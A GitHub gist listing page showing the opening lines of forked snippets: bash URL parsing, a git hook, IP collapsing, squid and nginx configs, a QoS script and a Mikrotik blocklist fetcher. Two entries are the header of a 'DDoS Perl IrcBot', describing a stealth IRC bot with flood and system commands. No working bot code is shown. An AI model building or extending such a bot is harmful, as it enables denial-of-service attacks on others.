Skip to content

Instantly share code, notes, and snippets.

View toxi22's full-sized avatar

Roman toxi22

View GitHub Profile
@toxi22
toxi22 / URL Parsing
Created February 10, 2025 00:54 — forked from joshisa/URL Parsing
Parsing of URLs using bash sh scripting
#!/bin/bash
# Referenced and tweaked from http://stackoverflow.com/questions/6174220/parse-url-in-shell-script#6174447
proto="$(echo $1 | grep :// | sed -e's,^\(.*://\).*,\1,g')"
# remove the protocol
url="$(echo ${1/$proto/})"
# extract the user (if any)
userpass="$(echo $url | grep @ | cut -d@ -f1)"
pass="$(echo $userpass | grep : | cut -d: -f2)"
if [ -n "$pass" ]; then
@toxi22
toxi22 / post_merge_deps_update.sh
Created March 1, 2024 13:18 — forked from Powell-v2/post_merge_deps_update.sh
Install any missing deps after merging in updates from remote.
# capture info messages and any errors in a log file
exec >> log/hooks-out.log 2>&1
if git diff-tree --name-only --no-commit-id ORIG_HEAD HEAD | grep -q 'package.json'; then
echo "$(date): reinstalling deps since package.json changed"
yarn > /dev/null
else
echo "$(date): no changes detected in package.json"
fi
@toxi22
toxi22 / ipcollapse.py
Created February 9, 2024 13:57 — forked from nrdmn/ipcollapse.py
collapse a list of IP addresses
#!/usr/bin/python3
# reads a list of IP subnets in CIDR notation from stdin and collapses it
import sys
import ipaddress
subnets6 = []
subnets4 = []
input_list = sys.stdin.readlines()
@toxi22
toxi22 / squid.conf
Created January 20, 2024 08:52 — forked from rasika/squid.conf
Minimal squid.conf for ssl bump and https caching
acl intermediate_fetching transaction_initiator certificate-fetching
http_access allow intermediate_fetching
#
# Recommended minimum configuration:
#
# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 0.0.0.1-0.255.255.255 # RFC 1122 "this" network (LAN)
@toxi22
toxi22 / timedatectl list-timezones
Created September 18, 2023 23:58 — forked from adamgen/timedatectl list-timezones
An online display timedatectl list-timezones list
Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara
Africa/Bamako
Africa/Bangui
Africa/Banjul
Africa/Bissau
Africa/Blantyre
@toxi22
toxi22 / nginx.conf
Created January 31, 2022 12:18 — forked from igortik/nginx.conf
Nginx optimized configuration with DDoS mitigation
user nginx;
# one(1) worker or equal the number of _real_ cpu cores. 4=4 core cpu
worker_processes 4;
# renice workers to reduce priority compared to system processes for
# machine health. worst case nginx will get ~25% system resources at nice=15
worker_priority -5;
@toxi22
toxi22 / QoS
Created October 1, 2021 12:38 — forked from diegargon/QoS
QoS Ubuntu Script
#!/bin/bash
# Diego García Gonzalez (diegargon) diego@envigo.net
# v1.0
### BEGIN INIT INFO
# Provides: myQoS
# Required-Start: networking, myFirewall
# Required-Stop:
# Should-Start:
# Should-Stop:
# Default-Start: 2 3 4 5
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@toxi22
toxi22 / DDoS Perl IrcBot v1.0.perl
Created June 24, 2021 10:13 — forked from Cherishao/DDoS Perl IrcBot v1.0.perl
DDoS Perl IrcBot v1.0.perl
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2017 by flood.ro Team ## [ Help ] ###########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@toxi22
toxi22 / import
Created June 15, 2021 15:29 — forked from Pliner/import
Mikrotik antifilter.download update script
:do {
:do {
/file remove "/ipsum.rsc";
/file remove "/subnet.rsc";
} on-error={}
:put "Downloading ipsum.rsc...";
:do {
/tool fetch url="https://antifilter.download/list/ipsum.rsc" dst-path="/ipsum.rsc"
} on-error={